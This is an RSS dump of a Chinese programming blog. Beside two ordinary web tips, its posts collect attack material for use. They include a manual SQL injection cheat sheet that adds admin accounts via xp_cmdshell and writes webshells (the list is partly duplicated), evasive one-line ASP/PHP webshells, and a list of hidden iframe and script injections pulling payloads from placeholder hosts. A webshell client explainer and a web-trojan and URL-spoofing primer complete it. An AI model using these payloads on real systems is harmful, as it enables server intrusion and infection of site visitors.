博客园-木柯的园子http://www.cnblogs.com/lemtree/zh-cnMon, 06 Jul 2009 15:59:09 GMTMon, 06 Jul 2009 15:59:09 GMT60为何js函数中使用return后表单仍旧提交了http://www.cnblogs.com/lemtree/articles/1504271.html萧木柯萧木柯Tue, 16 Jun 2009 05:43:00 GMThttp://www.cnblogs.com/lemtree/articles/1504271.htmlhttp://www.cnblogs.com/lemtree/comments/1504271.htmlhttp://www.cnblogs.com/lemtree/articles/1504271.html#Feedback0http://www.cnblogs.com/lemtree/comments/commentRss/1504271.htmlhttp://www.cnblogs.com/lemtree/services/trackbacks/1504271.html    刚才做一个表单提交的时候，发现return后照样提交了，但是原来的程序是没问题的，后来改成了另一个提交表单就出现这种问题了，反复测试和排除，最终终于锁定了问题。。。。。。靠！！！！！！！！！竟然是图片按钮在js事件中不受return的限制，照样会提交，而button就不会。解决办法：查了相应函数后得知，在return之前加以下一句就好了：event.returnValue=false;

 

<input type="image" src="./templates/default/dfvote/buttom.jpg" name="Submit" onClick="formok()" />

function formok()
{
    alert("formok");
 alert("foyyyyyyyyrmok");
 event.returnValue=false;
 return;
 alert("not is ok");
this.form1.submit();

在return前加了那句后就不会提交表单了

 



--------------------------
新闻：IBM发布全球首款开源智能编译器
网站导航: 博客园首页  新闻  .NET频道  社区  博问  闪存  找找看]]>超简单---鼠标滑过变换图片http://www.cnblogs.com/lemtree/articles/1491425.html萧木柯萧木柯Thu, 28 May 2009 12:07:00 GMThttp://www.cnblogs.com/lemtree/articles/1491425.htmlhttp://www.cnblogs.com/lemtree/comments/1491425.htmlhttp://www.cnblogs.com/lemtree/articles/1491425.html#Feedback0http://www.cnblogs.com/lemtree/comments/commentRss/1491425.htmlhttp://www.cnblogs.com/lemtree/services/trackbacks/1491425.html      鼠标滑过，图片变换，非常实用，用JS可以很容易做到，但是JS完成后有个缺陷，在滑过的时候，第一次可能是空白的，然后才显示，因为要下载图片，网速慢的时候更加明显。其实用CSS实现更容易，而且不会出现上面的短暂显示空白的小问题。 

CSS实现例子：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>CSS实现鼠标滑过变换图片</title>
<style>
.image10 a{
 background: url(../indeximages/computer.jpg) no-repeat top left;
    border: none;
    width: 99px;
    height: 45px;
    display: block;
 float:left;
 margin: 15px 3px;
}
.image10 a:hover{
 background: url(../indeximages/computer.jpg) no-repeat bottom left;
 border: none;
 width: 99px;
 height: 45px;
 display: block;
 float:left;
 margin: 15px 3px;
}

</style>
</head>

<body>
<div class = image10><a href="/carcount/count.htm"></a></div>
<div class = image10><a href="/compare.asp"></a></div>
<div class = image10><a href="/compare.asp"></a></div>
</body>
</html>

其实就是利用了A的hover属性，来改变背景图片的平铺位置。top left 和bottom left，就这么简单就完成了。如果想每个图片都不一样，变换的页不一样，定义成ID就可以了。

 

 



--------------------------
新闻：IE颓势不减 微软下月公布最新浏览器架构
网站导航: 博客园首页  新闻  .NET频道  社区  博问  闪存  找找看]]>手工注入精华http://www.cnblogs.com/lemtree/articles/1490662.html萧木柯萧木柯Wed, 27 May 2009 02:57:00 GMThttp://www.cnblogs.com/lemtree/articles/1490662.htmlhttp://www.cnblogs.com/lemtree/comments/1490662.htmlhttp://www.cnblogs.com/lemtree/articles/1490662.html#Feedback0http://www.cnblogs.com/lemtree/comments/commentRss/1490662.htmlhttp://www.cnblogs.com/lemtree/services/trackbacks/1490662.html
 

1.判断是否有注入;and 1=1 ;and 1=2   

2.初步判断是否是mssql ;and user>0   

3.注入参数是字符’and [查询条件] and ’’=’   

4.搜索时没过滤参数的’and [查询条件] and ’%25’=’   

5.判断数据库系统   
;and (select count(*) from sysobjects)>0 mssql   
;and (select count(*) from msysobjects)>0 access   

6.猜数据库 ;and (select Count(*) from [数据库名])>0   

7.猜字段 ;and (select Count(字段名) from 数据库名)>0  1.判断是否有注入;and 1=1 ;and 1=2   

2.初步判断是否是mssql ;and user>0   

3.注入参数是字符’and [查询条件] and ’’=’   

4.搜索时没过滤参数的’and [查询条件] and ’%25’=’   

5.判断数据库系统   
;and (select count(*) from sysobjects)>0 mssql   
;and (select count(*) from msysobjects)>0 access   

6.猜数据库 ;and (select Count(*) from [数据库名])>0   

7.猜字段 ;and (select Count(字段名) from 数据库名)>0   

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0   

9.(1)猜字段的ascii值（access）   
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0   

(2)猜字段的ascii值（mssql）   
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0   

10.测试权限结构（mssql）   
;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));--   
;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));--   
;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));--   
;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));--   
;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));--   
;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));--   
;and 1=(select IS_MEMBER(’db_owner’));--   

11.添加mssql和系统的帐户   
;exec master.dbo.sp_addlogin username;--   

;exec master.dbo.sp_password null,username,password;--    

;exec master.dbo.sp_addsrvrolemember sysadmin username;--   

;exec master.dbo.xp_cmdshell ’net user username password    
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;--   

;exec master.dbo.xp_cmdshell ’net user username password /add’;--    

;exec master.dbo.xp_cmdshell ’net localgroup administrators username /add’;--    

12.(1)遍历目录   

;create table dirs(paths varchar(100), id int)   
;insert dirs exec master.dbo.xp_dirtree ’c:\’   
;and (select top 1 paths from dirs)>0   
;and (select top 1 paths from dirs where paths not in(’上步得到的paths’))>)   

(2)遍历目录   
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--   
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器   
;insert into temp(id) exec master.dbo.xp_subdirs ’c:\’;-- 获得子目录列表   
;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;-- 获得所有子目录的目录树构   
;insert into temp(id) exec master.dbo.xp_cmdshell ’type c:\web\index.asp’;-- 查看文件的内容   

13.mssql中的存储过程   

xp_regenumvalues 注册表根键, 子键   
;exec xp_regenumvalues ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多个记录集方式返回所有键值   

xp_regread 根键,子键,键值名   
;exec xp_regread   
’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’CommonFilesDir’ 返回制定键的值   

xp_regwrite 根键,子键, 值名, 值类型, 值   
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型   
;exec xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’,’reg_sz’,’hello’ 写入注册表   

xp_regdeletevalue 根键,子键,值名   

exec xp_regdeletevalue ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’ 删除某个值   

xp_regdeletekey ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’ 删除键,包括该键下所有值   

14.mssql的backup创建webshell    
use model   
create table cmd(str image);   
insert into cmd(str) values (’’);   
backup database model to disk=’c:\l.asp’;   

15.mssql内置函数   
;and (select @@version)>0 获得Windows的版本号   
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa   
;and (select user_name())>0 爆当前系统的连接用户   
;and (select db_name())>0 得到当前连接的数据库   

16.简洁的webshell   

use model   

create table cmd(str image);   

insert into cmd(str) values (’’);   

backup database model to disk=’g:\wwwtest\l.asp’; 

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0   

9.(1)猜字段的ascii值（access）   
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0   

(2)猜字段的ascii值（mssql）   
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0   

10.测试权限结构（mssql）   
;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));--   
;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));--   
;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));--   
;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));--   
;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));--   
;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));--   
;and 1=(select IS_MEMBER(’db_owner’));--   

11.添加mssql和系统的帐户   
;exec master.dbo.sp_addlogin username;--   

;exec master.dbo.sp_password null,username,password;--    

;exec master.dbo.sp_addsrvrolemember sysadmin username;--   

;exec master.dbo.xp_cmdshell ’net user username password    
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;--   

;exec master.dbo.xp_cmdshell ’net user username password /add’;--    

;exec master.dbo.xp_cmdshell ’net localgroup administrators username /add’;--    

12.(1)遍历目录   

;create table dirs(paths varchar(100), id int)   
;insert dirs exec master.dbo.xp_dirtree ’c:\’   
;and (select top 1 paths from dirs)>0   
;and (select top 1 paths from dirs where paths not in(’上步得到的paths’))>)   

(2)遍历目录   
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--   
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器   
;insert into temp(id) exec master.dbo.xp_subdirs ’c:\’;-- 获得子目录列表   
;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;-- 获得所有子目录的目录树构   
;insert into temp(id) exec master.dbo.xp_cmdshell ’type c:\web\index.asp’;-- 查看文件的内容   

13.mssql中的存储过程   

xp_regenumvalues 注册表根键, 子键   
;exec xp_regenumvalues ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多个记录集方式返回所有键值   

xp_regread 根键,子键,键值名   
;exec xp_regread   
’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’CommonFilesDir’ 返回制定键的值   

xp_regwrite 根键,子键, 值名, 值类型, 值   
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型   
;exec xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’,’reg_sz’,’hello’ 写入注册表   

xp_regdeletevalue 根键,子键,值名   

exec xp_regdeletevalue ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’ 删除某个值   

xp_regdeletekey ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’ 删除键,包括该键下所有值   

14.mssql的backup创建webshell    
use model   
create table cmd(str image);   
insert into cmd(str) values (’’);   
backup database model to disk=’c:\l.asp’;   

15.mssql内置函数   
;and (select @@version)>0 获得Windows的版本号   
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa   
;and (select user_name())>0 爆当前系统的连接用户   
;and (select db_name())>0 得到当前连接的数据库   

16.简洁的webshell   

use model   

create table cmd(str image);   

insert into cmd(str) values (’’);   

backup database model to disk=’g:\wwwtest\l.asp’;

--------------------------
新闻：竞争日趋激烈 微软欲借 Windows 7 扭转战局
网站导航: 博客园首页  新闻  .NET频道  社区  博问  闪存  找找看]]>一句话木马的变形写法http://www.cnblogs.com/lemtree/articles/1457522.html萧木柯萧木柯Fri, 15 May 2009 03:14:00 GMThttp://www.cnblogs.com/lemtree/articles/1457522.htmlhttp://www.cnblogs.com/lemtree/comments/1457522.htmlhttp://www.cnblogs.com/lemtree/articles/1457522.html#Feedback0http://www.cnblogs.com/lemtree/comments/commentRss/1457522.htmlhttp://www.cnblogs.com/lemtree/services/trackbacks/1457522.html一句木马短小精悍，而且功能强大，隐蔽性非常好，在入侵中始终扮演着强大的作用。但是正是因为它短小精悍，所以目标特征也很明显，非常容易被杀软等过滤和杀掉，网上目前有些变种，现收集了一些，供收藏。

asp一句话
<%execute(request("1"))%>

php一句话
<?php eval($_POST[1]);?>

aspx一句话
<script language="C#" runat="server">
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
</script>


可以躲过雷客图的一句话。
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""1""))")
%>

不用'<%,%>'的asp一句话
<script language=VBScript runat=server>execute request("1")</script>

不用双引号的一句话。
<%eval request(chr(35))%>

 



--------------------------
新闻：上海电信计划2012年80%用户实现100M带宽
网站导航: 博客园首页  新闻  .NET频道  社区  博问  闪存  找找看]]>挂马代码大全 http://www.cnblogs.com/lemtree/articles/1454050.html萧木柯萧木柯Mon, 11 May 2009 04:34:00 GMThttp://www.cnblogs.com/lemtree/articles/1454050.htmlhttp://www.cnblogs.com/lemtree/comments/1454050.htmlhttp://www.cnblogs.com/lemtree/articles/1454050.html#Feedback0http://www.cnblogs.com/lemtree/comments/commentRss/1454050.htmlhttp://www.cnblogs.com/lemtree/services/trackbacks/1454050.html <iframe src=地址 width=0 height=0></iframe>
二:js文件挂马
首先将以下代码
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js，
则JS挂马代码为
<script language=javascript src=xxx.js></script>
三:js变形加密
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀
四:body挂马
<body ></body>
五:隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML + '"r"n<iframe src="http://www.xxx.com/muma.htm/"></iframe>';
六:css中挂马
body {
background-image: url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')}
七:JAJA挂马
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
八:图片伪装
<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>
九:伪装调用：
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
十:高级欺骗
<a href="http://www.163.com(迷惑连接地址，显示这个地址指向木马地址)" > 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>

--------------------------
新闻：数万名网友签名抗议星际争霸2取消局域网功能
网站导航: 博客园首页  新闻  .NET频道  社区  博问  闪存  找找看]]>一句话木马的原理http://www.cnblogs.com/lemtree/articles/1454047.html萧木柯萧木柯Mon, 11 May 2009 04:31:00 GMThttp://www.cnblogs.com/lemtree/articles/1454047.htmlhttp://www.cnblogs.com/lemtree/comments/1454047.htmlhttp://www.cnblogs.com/lemtree/articles/1454047.html#Feedback0http://www.cnblogs.com/lemtree/comments/commentRss/1454047.htmlhttp://www.cnblogs.com/lemtree/services/trackbacks/1454047.html
2009年02月21日 星期六 15:16

一句话木马:<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'')</SCRIPT>来解释下它的原理

首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form('#')+''这句代码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名 为#的部分,例如如下摘自一句话客户端的代码:

<textarea name=# cols="80" rows="10">
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
</textarea>

学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:

set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"

学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用对象中的writetext方法将 request("aoyun")读取过来的内容(就是我们常见的一句话客户端的第二个textarea域中的内容,也就是我们的大马的代码)写入服务端 的 aoyunwan.asp
文件中,写入结束后使用set iP=nothing 释放对方 然后使用response.redirect "aoyunwan.asp" 转向写入的文件,就是我们最后见的大马了!



--------------------------
新闻：数万名网友签名抗议星际争霸2取消局域网功能
网站导航: 博客园首页  新闻  .NET频道  社区  博问  闪存  找找看]]>网马扫盲http://www.cnblogs.com/lemtree/articles/1454044.html萧木柯萧木柯Mon, 11 May 2009 04:22:00 GMThttp://www.cnblogs.com/lemtree/articles/1454044.htmlhttp://www.cnblogs.com/lemtree/comments/1454044.htmlhttp://www.cnblogs.com/lemtree/articles/1454044.html#Feedback0http://www.cnblogs.com/lemtree/comments/commentRss/1454044.htmlhttp://www.cnblogs.com/lemtree/services/trackbacks/1454044.html

  当今网络，反病毒软件日益增多，使用的反病毒技术越来越先进，查杀病毒的能力逐渐提高，但病毒制作者并不会罢休，反查杀手段不断升级，新的病毒层出不穷， 形式也越来越多样化，为了躲避查杀，病毒自身的隐蔽性越来越高，针对反病毒软件对传统的病毒传播途径的监控能力提高，造成病毒传播困难的问题，越来越多的 病毒，利用多数反病毒软件产品对恶意脚本监控能力的缺陷，开始利用网页木马这一危害面最广泛，传播效果最佳的方式来传播。

一 、什么是网页木马

    网页木马是利用网页来进行破坏的病毒，它包含在恶意网页之中，使用脚本语言编写恶意代码，依靠系统的漏洞，如IE浏览器存在的漏洞来实现病毒的传播。当用 户登陆了包含网页病毒的恶意网站时，网页木马便被激活，受影响的系统一旦感染网页病毒，就会遭到破坏，轻则浏览器首页被修改，标题改变，系统自动弹出广 告，重则被装上木马，感染病毒，使用户无法进行正常的使用。甚至会引起系统崩溃，敏感信息丢失等严重后果。由于脚本语言易于掌握，所以网页木马非常容易编 写和修改，造成很难提取特征值，增加了杀毒软件查杀以及用户预防的困难。

    目前的网页木马都是利用脚本语言、ActiveX、WSH等来实现对客户端计算机的远程操作，如改写注册表，添加、删除、更改文件夹等操作。网页病毒可以以此来达到传播的目的。

1.利用WSH(Windows Scripting Host Object Reference)等系统控件

WSH，是“Windows Scripting Host”的简称，可以直译为“Windows 脚本宿主”。在Windows系统中会默认安装，它是内嵌于 Windows 操作系统中的脚本语言工作环境。

    Windows Scripting Host 这个概念最早出现于 Windows 98 操作系统。微软在研发 Windows 98 时，为了实现多类脚本文件在 Windows 界面或 Dos 命令提示符下的直接运行，就在系统内植入了一个基于 32 位 Windows 平台、并独立于语言的脚本运行环境，并将其命名为“Windows Scripting Host”。WSH 架构于 ActiveX 之上，通过充当 ActiveX 的脚本引擎控制器，WSH 为 Windows 用户充分利用威力强大的脚本指令语言扫清了障碍。

    WSH也有它的不足之处，任何事物都有两面性，WSH 也不例外。WSH 的优点在于它使用户可以充分利用脚本来实现计算机工作的自动化;但也正是它的这一特点，使系统存在了安全隐患。计算机病毒制造者用脚本语言来编制病毒，并 利用 WSH 的支持功能，让这些隐藏着病毒的脚本在网络中广为传播。借助WSH的缺陷，通过JAVAScript，VBScript，ActiveX等网页脚本语言， 可以改动受影响系统的注册表，利用服务器端脚本程序如：ASP，PHP等来记录访问网页者的相关信息，浏览之后，系统目录被完全共享;IP地址、访问时 间、操作系统名称会被网页木马所记录，造成敏感信息的泄露。

2.Microsoft Internet Explorer等浏览器存在漏洞

3.脚本语言

    用JAVA编制的脚本语言主要是Java Applet和Java Script。Applet是Java编写的小应用程序，不能独立运行，需要嵌入HTML文件,遵循标准，在支持Java的浏览器(如Microsoft Internet Explorer) 上运行，是Java一个重要的应用分支，它改变了传统网页呆板的界面，在WWW网页(Home Page / Pages)设计中加入了动画、影像、音乐等元素。

    JavaScript是一种基于对象(Object)和事件驱动(Event Driven)并具有安全性能的脚本语言。使用它的目的是与HTML超文本标记语言、与Web客户交互作用。从而可以开发客户端的应用程序等。它是通过嵌 入或文件引用在标准的HTML语言中实现的。它的出现弥补了HTML语言的缺陷，它是Java与HTML折衷的选择，具有基于对象、简单、安全、动态、跨 平台性等特性。

    ActiveX是Microsoft提出的一组使用COM(Component Object Model，部件对象模型)使得软件部件在网络环境中进行交互的技术。它与具体的编程语言无关。作为针对Internet应用开发的技术，ActiveX 被广泛应用于WEB服务器以及客户端的各个方面。同时，ActiveX技术也被用于方便地创建普通的桌面应用程序。在Applet中可以使用 ActiveX技术，如直接嵌入ActiveX控制，或者以ActiveX技术为桥梁，将其它开发商提供的多种语言的程序对象集成到Java中。与 Java的字节码技术相比，ActiveX提供了“代码签名”(Code Signing)技术保证其安全性。

    造成网页病毒传播和形成的主要原因，是因为Windows操作系统以及Microsoft Internet Explorer等浏览器存在漏洞。

二、网页木马的攻击原理

    网页木马实际上是一个HTML网页，与其它网页不同的是该网页是黑客精心制作的，用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢?因为嵌入 在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞，让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马，也就是说，这个网页能下载木 马到本地并运行(安装)下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行(安装)过程就自动开始。

    打开一个网页，IE浏览器不会自动下载程序和运行程序，这是因为，为了安全，IE浏览器是禁止自动下载程序特别是运行程序的，但是，IE浏览器存在着一些 已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面列举一些IE浏览器等存在的漏洞来分别说明为什么利用网页木马可以下载 程序和运行程序。

1.下载可执行文件.

    index里有一个代码漏洞，IE会把可执行文件误认为CSS样式表而下载到IE的临时文件目录.

    也可以利用这段代码，把这段代码插入到网页源代码的…之间,运行后就会发现在IE的临时目录Temporary Internet Files下，已经下载了1.exe这个病毒文件。

2.自动运行程序

把这段代码插入到网页源代码的…之间，然后用IE打开该网页，这段代码可以在IE中自动打开记事本。

这段代码使用了shell.application控件，该控件能使网页获得执行权限，替换代码中的“Notepad.exe”(记事本)程序，就可以用它自动运行本地电脑上的任意程序。

通过以上的例子可以看出，利用IE的漏洞，在网页中插入相关的代码，IE完全可以自动下载和运行程序。

三、可能被网页木马利用的漏洞

1.利用URL格式漏洞

    此类网页木马是利用URL格式漏洞来欺骗用户。构造一个看似JPG格式的文件诱惑用户下载，但事实上用户下载的却是一个EXE文件。

    此类攻击，具有相当的隐蔽性，利用URL欺骗的方法有很多种，比如起个具有诱惑性的网站名称或使用易混的字母数字掉包进行银行网络钓鱼，还有漏洞百出的“%30%50”之类的Unicode编码等等，现在列举比较常见的几种方法：

(1).@标志过滤用户名的解析

    本来@标志是E-mail地址的用户名与主机的分隔符，但在URL中同样适用，而且功能如出一辙。HTTP(超文本传输协议)规定了URL的完整格式是 “Http://Name：Password@IP地址或主机名”，其中的“IP地址或主机名”是必填项。@标志与其前面的 “Name：Password”，意为“用户名：密码”，属于可选项。也就是说，在URL中真正起解析作用的网址是从@标志后面开始的，这就是欺骗原理。

比如用户访问“Http://www.sina.com@www.Trojan.com.cn/HuiGeZi_Server.exe”，从表面上看，这是新浪网提供的一个链接，用户会认为这是一个无害的链接，而点击，而实际上 “www.sina.com”只是个写成新浪网址形式的用户名(此处的密码为空)，因为后面有@标志。而真正链接的网址却是“www.Trojan.com.cn/HuiGeZi_Server.exe” 也就是说这个发来的URL地址其实完全等同于“Http://www www.Trojan.com.cn/HuiGeZi_Server.exe，而与前面的用户名毫无关系，只是迷惑性可就大大提高了。即使没有这个用户名，也完全不影响浏览器对URL的解析。

(2).十进制的IP地址

常见的IP地址包括四个字节，一般表示形式为“xxx.xxx.xxx.xxx”(x表示一个十进制数 码)，例如“61.135.132.12”。因为数字IP地址较长，且过于抽象、难以记忆，所以采用域名服务DNS来与之对应。在浏览器地址栏中输入 “Http://www.sohu.com”与“Http://61.135.132.12”的结果完全一样，都是访问搜狐网站，因为 61.135.132.12就是搜狐域名www.sohu.com的IP地址。不过，用Http://1032291340访问的话，仍然可以打开搜狐网 站，这是因为，四位点分十进制形式的IP地址“61.135.132.12”代表一组32位二进制数码，如果合在一起再转换成一个十进制数的话，答案就是 1032291340。转换方法，就是数制的按权展 开：12×2560+132×2561+135×2562+61×2563=12+33792+8847360+1023410176=1032291340(基 数为256，即28)。在上文的例子中提到了“www.Trojan.com.cn/HuiGeZi_Server.exe”。这种字母域名有时还能被用 户识破，而在把它对应的IP地址(假设为“61.135.132.13”)换算成一个十进制数后，结果是1032291341，再结合@标志过滤用户的解 析，就会变成Http://www.sina.com@1032291341这样的地址，这样就更加隐蔽了。

(3).虚假的网址，网络钓鱼者注册一个域名和真实网站域名十分相似的网址，其用户界面也和真实网站页 面非常相似，然后不URL提供给用户，那么一般的用户被引导到这样的虚拟网址上是难以察觉的，攻击者也就可以利用该网页来诱导用户输入自己的个人身份信 息，达到窃取的目的，例如真实网站域名是www.lovebank.xxx,伪造网站域名是www.1ovebank.xxx,一个是小写的"L",一个 是数字"1"，域名服务器将解析到完全不同的IP地址上，但用户很难看出来。再如真实网站的域名是www.xxx.xxx.cn，而虚假网站使用域名 www.xxx.xxx,很多人也无法判断

(4).更隐蔽的方法，是根据超文本标记语言的规则，可以对文字制作超链接，这样就使网络钓鱼者有机可 乘。例如文件源代码可以写成："http://www.xxbank.com.cn"。这样，屏幕上显示的是xxxbank的网址，而实际却链接到了 xxbank的虚假网站。

(5).采用伪装手段。可以在浏览器打开虚假网站的时候，弹出一个很隐蔽的小图像，正好覆盖在浏览器显示网址的地方，该小图像显示被仿冒的网站的真实域名，而浏览器真正访问的地址被掩盖在下面。

(6).虚假的弹出窗口。一些虚假网站会将用户转移到真实的网址，但是转移之前制造假冒的弹出窗口，提示用户进行个人登陆的操作，很多用户会误认为这些弹出窗口是网站的一部分而进一步按照提示操作，直到透露出自己的个人身份信息。

(7).可以利用浏览器漏洞窃取个人信息，如IE就曾暴露出一个漏洞，该漏洞使攻击者可以在垃圾邮件中 构造一种数据，用户点击后便可使IE浏览器显示的网址与实际访问的网址不同。采用这种方式进行攻击，欺骗性更好，可以通过向用户发送包含URL的垃圾邮件 的方式，诱骗用户点击，用户如果不检查邮件的原始代码，根本无法知道自己被浏览器欺骗了。

(8).黑客程序可以修改用户计算机中的HOSTS文件，将特定域名的IP地址设置成自己的虚假网站的 地址，用户访问这些网站时，机器会从HOSTS文件中获得对应的IP。除了上面的方法外，更为隐蔽和目前常用的攻击手法是，攻击者首先攻破一个正常的网 站，然后修改网站的代码，通过跳转语句或嵌入JS脚本的手段，来改造一个挂马的网站，这样当用户点击了包含正常网站的URL时，是不会有戒备心理的，更容 易造成更大的损失。

2.通过ActiveX控件制作网页木马。

通过 ActiveX 把普通的软件转化为可以在主页直接执行的软件的网页木马，此类网页木马对所有的系统和IE版本都有效，缺点是浏览网页木马时会弹出对话框，询问是否安装此插件。病毒作者通常是伪造微软、新浪、Google等知名公司的签名，伪装成它们的插件来迷惑用户。

3.利用WSH的缺陷

利用WSH修改注册表，使IE安全设置中“没有标记为安全的的activex控件和插件”的默认设置改为启用，然后再利用一些可以在本地运行EXE程序的网页代码来运行病毒。它的危害在于，可以利用IE的安全漏洞提升权限达到本地运行任意程序的后果。

4.利用MIME漏洞制做的网页木马。

它利用了Microsoft Internet Explorer中MIME/BASE64处理的漏洞，MIME(Multipurpose Internet Mail Extentions)，一般译作“多用途的网络邮件扩充协议”。顾名思义，它可以传送多媒体文件，在一封电子邮件中附加各种格式文件一起送出。现在它已 经演化成一种指定文件类型(Internet的任何形式的消息：E-mail，Usenet新闻和Web)的通用方法。在使用CGI程序时你可能接触过 MIME类型，其中有一行叫作Content-type的语句，它用来指明传递的就是MIME类型的文件(如text/html或text /plain)。MIME在处理不正常的MIME类型时存在一个问题，攻击者可以创建一个Html格式的E-mail，该E-mail的附件为可执行文 件，通过修改MIME头，使IE不能正确处理这个MIME所指定的可执行文件附件。IE处理附件的方式：一般情况下如果附件是文本文件，IE会读取文件， 如果是VIDEO CLIP，IE会查看文件;如果附件是图形文件，IE就会显示文件;如果附件是一个EXE文件呢?IE会提示用户是否执行，但当攻击者更改MIME类型 后，IE就不再提示用户是否执行而直接运行该附件。从而使攻击者加在附件中的程序，攻击命令能够按照攻击者设想的情况进行。在Win9X"ME以及 WinNT4和Win2000下的Internet Explorer 5.0、5.01、5.5均存在该漏洞，微软邮件客户端软件Outlook Express也存在此漏洞。

5.利用系统的图片处理漏洞

这是种只要浏览图片就可以传播的网页木马。这种木马是把一个EXE文件伪装成一个BMP或JPG图片文件,在网页中添加如的代码来欺骗IE自动下载,然后利用网页中的Java Script脚本查找客户端的Internet临时文件夹,寻找下载的BMP格式文件,把它拷贝到TEMP目录.再利用脚本把找到的BMP文件用DEBUG还原成EXE,并添加到注册表启动项中,达到随系统的目的。

6.HTML文件木马

首先利用工具把EXE格式的文件转化成HTML文件的木马，这样.EXE文件看起来就变成了Htm文件，欺骗访问者访问假冒的Htm文件从而达到运行病毒的目的。它和BMP网页木马运用了同一个原理，也会利用JAVASCRIPT脚本和debug程序来转换回EXE文件。

7.Hta木马

